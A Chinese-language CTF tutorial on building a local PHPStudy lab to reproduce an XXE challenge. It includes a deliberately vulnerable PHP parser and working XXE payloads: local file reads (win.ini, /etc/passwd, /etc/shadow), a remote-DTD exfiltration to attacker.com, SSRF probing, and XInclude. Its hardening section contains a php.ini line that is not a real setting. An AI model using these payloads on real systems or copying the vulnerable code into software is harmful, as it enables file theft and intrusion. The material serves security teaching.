新手也能懂:用PHPStudy本地复现QSNCTF那道XXE漏洞题(附完整Payload) 从零搭建XXE漏洞实验环境PHPStudy实战指南第一次接触CTF比赛中的XXE漏洞时很多人会被那些看似神秘的XML代码吓退。但事实上只要有一个合适的实验环境任何Web安全新手都能在半小时内理解并复现这个经典漏洞。本文将带你用最常见的PHPStudy工具在Windows电脑上完整搭建XXE漏洞实验靶场并通过BurpSuite和手工构造Payload两种方式实现文件读取。1. 环境准备与漏洞原理XXEXML External Entity Injection漏洞的本质是XML解析器对外部实体的不当处理。想象一下XML就像是一个可以自定义标签的文档格式而外部实体则相当于文档中的变量引用——这些变量可以指向本地文件、远程URL等资源。当服务器解析用户提交的恶意XML时就会像执行了变量替换一样把敏感文件内容泄露出来。要在本地复现这个漏洞我们需要以下组件PHPStudy v8.1集成ApachePHP环境PHP 5.6.9该版本默认不禁用外部实体引用文本编辑器VS Code或Notepad提示建议在虚拟机中进行实验避免影响主机环境配置安装完成后在PHPStudy的网站目录下创建xxe-test文件夹新建index.php文件?php libxml_disable_entity_loader(false); $xmlfile file_get_contents(php://input); $dom new DOMDocument(); $dom-loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds simplexml_import_dom($dom); echo $creds-name; ?这段代码的关键问题在于主动启用外部实体加载libxml_disable_entity_loader(false)直接解析用户输入的原始数据php://input使用危险标志组合LIBXML_NOENT | LIBXML_DTDLOAD2. 手工构造XXE Payload我们先不用任何专业工具仅用浏览器和记事本完成漏洞利用。在xxe-test目录下创建test.htmlform actionhttp://localhost/xxe-test/index.php methodPOST enctypetext/plain textarea namexml rows10 cols50 lt;?xml version1.0?gt; lt;!DOCTYPE test [ lt;!ENTITY xxe SYSTEM file:///C:/Windows/win.inigt; ]gt; lt;rootgt; lt;namegt;amp;xxe;lt;/namegt; lt;/rootgt; /textarea input typesubmit value提交/ /form这个表单会向漏洞页面发送包含外部实体引用的XML数据。点击提交后你应该能在页面看到win.ini文件的内容。这就是最基本的XXE文件读取实现。常见可读取的敏感文件路径包括操作系统文件路径信息类型WindowsC:\Windows\System32\drivers\etc\hosts网络配置Linux/etc/passwd用户账户Linux/proc/self/environ环境变量3. 使用Burp Suite专业测试对于更复杂的测试场景Burp Suite是更高效的选择。配置步骤如下启动Burp Suite在Proxy→Options添加监听端口如8080浏览器设置代理为127.0.0.1:8080访问http://localhost/xxe-test/test.html拦截请求后修改Content-Type为application/xml替换请求体为以下Payload?xml version1.0? !DOCTYPE data [ !ENTITY % dtd SYSTEM http://attacker.com/malicious.dtd %dtd; ] rootexfil;/root这种分阶段攻击的原理是首先加载远程DTD文件需要公网服务器在DTD中定义参数实体和后续操作实现数据外带等高阶利用4. 漏洞防御与加固方案理解漏洞后修复方案其实非常简单。以下是PHP中防御XXE的几种方法方案一禁用外部实体libxml_disable_entity_loader(true);方案二使用白名单过滤$allowed [name, email, phone]; foreach($creds as $key $value) { if(!in_array($key, $allowed)) { unset($creds-$key); } }方案三替换XML解析器$data json_decode(file_get_contents(php://input), true);对于现代PHP项目建议直接采用以下配置组合; php.ini配置 allow_url_fopen Off allow_url_include Off libxml_disable_entity_loader On在实际项目代码审查时要特别注意以下危险函数的使用simplexml_load_string()DOMDocument::loadXML()xml_parse()5. 拓展实验非常规利用技巧除了文件读取XXE还有更多进阶利用方式。在实验环境中可以尝试SSRF探测内网!ENTITY xxe SYSTEM http://192.168.1.1:8080/internal盲注数据外带!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?leak%file; %eval; %exfil;XInclude攻击root xmlns:xihttp://www.w3.org/2001/XInclude xi:include hreffile:///etc/shadow parsetext/ /root这些实验都需要配合网络抓包工具观察请求流向。建议使用Wireshark监控本地回环流量分析攻击产生的实际网络请求。完成所有实验后记得在PHPStudy中恢复默认配置或直接删除测试用的虚拟主机。安全研究的第一原则就是避免实验代码泄露到生产环境。